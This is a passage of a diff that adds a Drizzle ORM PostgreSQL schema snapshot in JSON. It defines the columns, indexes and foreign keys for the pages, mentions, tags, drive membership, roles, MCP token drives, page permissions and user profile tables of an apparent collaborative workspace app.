"last" + }, + { + "expression": "targetPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mentions_source_page_id_idx": { + "name": "mentions_source_page_id_idx", + "columns": [ + { + "expression": "sourcePageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mentions_target_page_id_idx": { + "name": "mentions_target_page_id_idx", + "columns": [ + { + "expression": "targetPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "mentions_sourcePageId_pages_id_fk": { + "name": "mentions_sourcePageId_pages_id_fk", + "tableFrom": "mentions", + "tableTo": "pages", + "columnsFrom": [ + "sourcePageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "mentions_targetPageId_pages_id_fk": { + "name": "mentions_targetPageId_pages_id_fk", + "tableFrom": "mentions", + "tableTo": "pages", + "columnsFrom": [ + "targetPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pages": { + "name": "pages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "PageType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "contentMode": { + "name": "contentMode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'html'" + }, + "isPaginated": { + "name": "isPaginated", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "position": { + "name": "position", + "type": "real", + "primaryKey": false, + "notNull": true + }, + "isTrashed": { + "name": "isTrashed", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "aiProvider": { + "name": "aiProvider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "aiModel": { + "name": "aiModel", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "systemPrompt": { + "name": "systemPrompt", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "enabledTools": { + "name": "enabledTools", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "includeDrivePrompt": { + "name": "includeDrivePrompt", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "agentDefinition": { + "name": "agentDefinition", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "visibleToGlobalAssistant": { + "name": "visibleToGlobalAssistant", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "includePageTree": { + "name": "includePageTree", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "pageTreeScope": { + "name": "pageTreeScope", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'children'" + }, + "toolExposureMode": { + "name": "toolExposureMode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'upfront'" + }, + "sandboxEnabled": { + "name": "sandboxEnabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "defaultEnvId": { + "name": "defaultEnvId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "userScopedAccess": { + "name": "userScopedAccess", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "siteMode": { + "name": "siteMode", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "fileSize": { + "name": "fileSize", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "mimeType": { + "name": "mimeType", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "originalFileName": { + "name": "originalFileName", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "filePath": { + "name": "filePath", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "fileMetadata": { + "name": "fileMetadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "processingStatus": { + "name": "processingStatus", + "type": "text", + "primaryKey": false, + "notNull": false, + "default": "'pending'" + }, + "processingError": { + "name": "processingError", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "processedAt": { + "name": "processedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "extractionMethod": { + "name": "extractionMethod", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "extractionMetadata": { + "name": "extractionMetadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "contentHash": { + "name": "contentHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "excludeFromSearch": { + "name": "excludeFromSearch", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "isPrivate": { + "name": "isPrivate", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "trashedAt": { + "name": "trashedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "revision": { + "name": "revision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "contentRevision": { + "name": "contentRevision", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "stateHash": { + "name": "stateHash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "parentId": { + "name": "parentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "originalParentId": { + "name": "originalParentId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "pages_drive_id_idx": { + "name": "pages_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pages_parent_id_idx": { + "name": "pages_parent_id_idx", + "columns": [ + { + "expression": "parentId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pages_parent_id_position_idx": { + "name": "pages_parent_id_position_idx", + "columns": [ + { + "expression": "parentId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "pages_drive_id_is_trashed_type_idx": { + "name": "pages_drive_id_is_trashed_type_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isTrashed", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pages_defaultEnvId_drive_envs_id_fk": { + "name": "pages_defaultEnvId_drive_envs_id_fk", + "tableFrom": "pages", + "tableTo": "drive_envs", + "columnsFrom": [ + "defaultEnvId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "pages_createdBy_users_id_fk": { + "name": "pages_createdBy_users_id_fk", + "tableFrom": "pages", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "pages_driveId_drives_id_fk": { + "name": "pages_driveId_drives_id_fk", + "tableFrom": "pages", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.storage_events": { + "name": "storage_events", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "eventType": { + "name": "eventType", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sizeDelta": { + "name": "sizeDelta", + "type": "real", + "primaryKey": false, + "notNull": true + }, + "totalSizeAfter": { + "name": "totalSizeAfter", + "type": "real", + "primaryKey": false, + "notNull": true + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "storage_events_user_id_idx": { + "name": "storage_events_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "storage_events_created_at_idx": { + "name": "storage_events_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "storage_events_userId_users_id_fk": { + "name": "storage_events_userId_users_id_fk", + "tableFrom": "storage_events", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "storage_events_pageId_pages_id_fk": { + "name": "storage_events_pageId_pages_id_fk", + "tableFrom": "storage_events", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.tags": { + "name": "tags", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "normalizedKey": { + "name": "normalizedKey", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdBy": { + "name": "createdBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "tags_drive_id_idx": { + "name": "tags_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "tags_driveId_drives_id_fk": { + "name": "tags_driveId_drives_id_fk", + "tableFrom": "tags", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "tags_createdBy_users_id_fk": { + "name": "tags_createdBy_users_id_fk", + "tableFrom": "tags", + "tableTo": "users", + "columnsFrom": [ + "createdBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "tags_drive_id_normalized_key_key": { + "name": "tags_drive_id_normalized_key_key", + "nullsNotDistinct": false, + "columns": [ + "driveId", + "normalizedKey" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_mentions": { + "name": "user_mentions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "sourcePageId": { + "name": "sourcePageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "targetUserId": { + "name": "targetUserId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "mentionedByUserId": { + "name": "mentionedByUserId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "user_mentions_source_page_id_target_user_id_key": { + "name": "user_mentions_source_page_id_target_user_id_key", + "columns": [ + { + "expression": "sourcePageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "targetUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_mentions_source_page_id_idx": { + "name": "user_mentions_source_page_id_idx", + "columns": [ + { + "expression": "sourcePageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "user_mentions_target_user_id_idx": { + "name": "user_mentions_target_user_id_idx", + "columns": [ + { + "expression": "targetUserId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_mentions_sourcePageId_pages_id_fk": { + "name": "user_mentions_sourcePageId_pages_id_fk", + "tableFrom": "user_mentions", + "tableTo": "pages", + "columnsFrom": [ + "sourcePageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_mentions_targetUserId_users_id_fk": { + "name": "user_mentions_targetUserId_users_id_fk", + "tableFrom": "user_mentions", + "tableTo": "users", + "columnsFrom": [ + "targetUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "user_mentions_mentionedByUserId_users_id_fk": { + "name": "user_mentions_mentionedByUserId_users_id_fk", + "tableFrom": "user_mentions", + "tableTo": "users", + "columnsFrom": [ + "mentionedByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_agent_members": { + "name": "drive_agent_members", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "MemberRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'MEMBER'" + }, + "customRoleId": { + "name": "customRoleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "includeContext": { + "name": "includeContext", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "addedBy": { + "name": "addedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "addedAt": { + "name": "addedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "drive_agent_members_drive_id_idx": { + "name": "drive_agent_members_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_agent_members_agent_page_id_idx": { + "name": "drive_agent_members_agent_page_id_idx", + "columns": [ + { + "expression": "agentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_agent_members_driveId_drives_id_fk": { + "name": "drive_agent_members_driveId_drives_id_fk", + "tableFrom": "drive_agent_members", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_agent_members_agentPageId_pages_id_fk": { + "name": "drive_agent_members_agentPageId_pages_id_fk", + "tableFrom": "drive_agent_members", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_agent_members_customRoleId_drive_roles_id_fk": { + "name": "drive_agent_members_customRoleId_drive_roles_id_fk", + "tableFrom": "drive_agent_members", + "tableTo": "drive_roles", + "columnsFrom": [ + "customRoleId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "drive_agent_members_addedBy_users_id_fk": { + "name": "drive_agent_members_addedBy_users_id_fk", + "tableFrom": "drive_agent_members", + "tableTo": "users", + "columnsFrom": [ + "addedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_agent_members_drive_agent_key": { + "name": "drive_agent_members_drive_agent_key", + "nullsNotDistinct": false, + "columns": [ + "driveId", + "agentPageId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_members": { + "name": "drive_members", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "MemberRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'MEMBER'" + }, + "customRoleId": { + "name": "customRoleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "DriveMemberSource", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'invite'" + }, + "invitedBy": { + "name": "invitedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "invitedAt": { + "name": "invitedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "acceptedAt": { + "name": "acceptedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "lastAccessedAt": { + "name": "lastAccessedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "suspendedByPolicy": { + "name": "suspendedByPolicy", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "drive_members_suspended_by_policy_idx": { + "name": "drive_members_suspended_by_policy_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"drive_members\".\"suspendedByPolicy\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_members_drive_id_idx": { + "name": "drive_members_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_members_user_id_idx": { + "name": "drive_members_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_members_role_idx": { + "name": "drive_members_role_idx", + "columns": [ + { + "expression": "role", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_members_custom_role_id_idx": { + "name": "drive_members_custom_role_id_idx", + "columns": [ + { + "expression": "customRoleId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_members_driveId_drives_id_fk": { + "name": "drive_members_driveId_drives_id_fk", + "tableFrom": "drive_members", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_members_userId_users_id_fk": { + "name": "drive_members_userId_users_id_fk", + "tableFrom": "drive_members", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "drive_members_customRoleId_drive_roles_id_fk": { + "name": "drive_members_customRoleId_drive_roles_id_fk", + "tableFrom": "drive_members", + "tableTo": "drive_roles", + "columnsFrom": [ + "customRoleId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "drive_members_invitedBy_users_id_fk": { + "name": "drive_members_invitedBy_users_id_fk", + "tableFrom": "drive_members", + "tableTo": "users", + "columnsFrom": [ + "invitedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_members_drive_user_key": { + "name": "drive_members_drive_user_key", + "nullsNotDistinct": false, + "columns": [ + "driveId", + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.drive_roles": { + "name": "drive_roles", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "color": { + "name": "color", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isDefault": { + "name": "isDefault", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "drive_wide_permissions": { + "name": "drive_wide_permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": false, + "default": "NULL" + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "drive_roles_drive_id_idx": { + "name": "drive_roles_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "drive_roles_position_idx": { + "name": "drive_roles_position_idx", + "columns": [ + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "drive_roles_driveId_drives_id_fk": { + "name": "drive_roles_driveId_drives_id_fk", + "tableFrom": "drive_roles", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "drive_roles_drive_name_key": { + "name": "drive_roles_drive_name_key", + "nullsNotDistinct": false, + "columns": [ + "driveId", + "name" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.mcp_token_drives": { + "name": "mcp_token_drives", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "tokenId": { + "name": "tokenId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "MemberRole", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "customRoleId": { + "name": "customRoleId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "addedBy": { + "name": "addedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "mcp_token_drives_token_id_idx": { + "name": "mcp_token_drives_token_id_idx", + "columns": [ + { + "expression": "tokenId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mcp_token_drives_drive_id_idx": { + "name": "mcp_token_drives_drive_id_idx", + "columns": [ + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "mcp_token_drives_token_drive_unique": { + "name": "mcp_token_drives_token_drive_unique", + "columns": [ + { + "expression": "tokenId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "driveId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "mcp_token_drives_tokenId_mcp_tokens_id_fk": { + "name": "mcp_token_drives_tokenId_mcp_tokens_id_fk", + "tableFrom": "mcp_token_drives", + "tableTo": "mcp_tokens", + "columnsFrom": [ + "tokenId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "mcp_token_drives_driveId_drives_id_fk": { + "name": "mcp_token_drives_driveId_drives_id_fk", + "tableFrom": "mcp_token_drives", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "mcp_token_drives_customRoleId_drive_roles_id_fk": { + "name": "mcp_token_drives_customRoleId_drive_roles_id_fk", + "tableFrom": "mcp_token_drives", + "tableTo": "drive_roles", + "columnsFrom": [ + "customRoleId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "mcp_token_drives_addedBy_users_id_fk": { + "name": "mcp_token_drives_addedBy_users_id_fk", + "tableFrom": "mcp_token_drives", + "tableTo": "users", + "columnsFrom": [ + "addedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.page_permissions": { + "name": "page_permissions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "canView": { + "name": "canView", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "canEdit": { + "name": "canEdit", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "canShare": { + "name": "canShare", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "canDelete": { + "name": "canDelete", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "grantedBy": { + "name": "grantedBy", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "grantedAt": { + "name": "grantedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "note": { + "name": "note", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "page_permissions_page_id_idx": { + "name": "page_permissions_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_permissions_user_id_idx": { + "name": "page_permissions_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "page_permissions_expires_at_idx": { + "name": "page_permissions_expires_at_idx", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "page_permissions_pageId_pages_id_fk": { + "name": "page_permissions_pageId_pages_id_fk", + "tableFrom": "page_permissions", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_permissions_userId_users_id_fk": { + "name": "page_permissions_userId_users_id_fk", + "tableFrom": "page_permissions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "page_permissions_grantedBy_users_id_fk": { + "name": "page_permissions_grantedBy_users_id_fk", + "tableFrom": "page_permissions", + "tableTo": "users", + "columnsFrom": [ + "grantedBy" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "page_permissions_page_user_key": { + "name": "page_permissions_page_user_key", + "nullsNotDistinct": false, + "columns": [ + "pageId", + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_profiles": { + "name": "user_profiles", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "username": { + "name": "username", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "displayName": { + "name": "displayName", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "bio": { + "name": "bio", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "avatarUrl": { + "name": "avatarUrl", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "isPublic": { + "name": "isPublic", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + 